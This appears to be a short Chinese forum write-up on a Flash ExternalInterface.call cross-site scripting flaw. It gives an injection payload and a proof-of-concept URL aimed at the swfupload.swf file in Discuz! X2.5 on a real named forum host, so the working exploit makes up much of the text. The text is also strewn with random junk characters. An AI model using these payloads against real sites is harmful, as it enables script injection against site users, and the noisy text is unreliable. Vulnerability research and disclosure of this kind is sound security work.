上回我们说/ C! p, P& L8 c0 N( H' j1 x' X
; p2 o$ F" w8 t4 s3 Q2 s4 |9 tflash.external.ExternalInterface.call($methodName, $parameter)
' m' z4 P3 |; P3 R在浏览器中执行的是* ~5 a5 a! Y8 F3 b4 x2 p5 T
" d9 |) g7 X& t Y+ i3 _9 P
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}4 O, n+ v8 x: B5 w" V
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
5 k/ j2 q7 r: q" @- y% [ D4 E5 Q4 a# m
5 z" U7 t& d) a2 j5 qflash.external.ExternalInterface.call("object."+$methodName, $parameter)* Z3 d+ g0 q) l
$methodName = a())}catch(e){alert(/xss/)}//: i5 l6 ~; b i |7 S+ T
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。' _8 ^* E' L& f' \4 X
6 z# j/ _* l- T7 ?& O
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
; k* G# L; U8 d( [! s4 a0 S7 O) D) I. w$ N" w& k0 u5 q
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& }9 w7 l- E2 h& E- d
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。4 ~5 |- ^7 q5 }/ W
/ X) K8 R3 G' Y q, p* K+ T! r3 T0 X3 F. ]
5 E8 H" {/ z, b' m0 C/ X% S8 K漏洞文件:upload\static\image\common\swfupload.swf
- U* X5 c, l4 p5 p- w t
- H4 U8 q" E$ T* f原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf& {) t* j3 Q) E- \5 j+ M# p0 ]
* _, Y$ { S# y& [' N! [% B" _2 U3 F) a" [- W
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
4 q( w$ P# t/ `* f9 J
+ |' J& j, M5 H" e, Y& E. _. ^" t _1 Z! C
|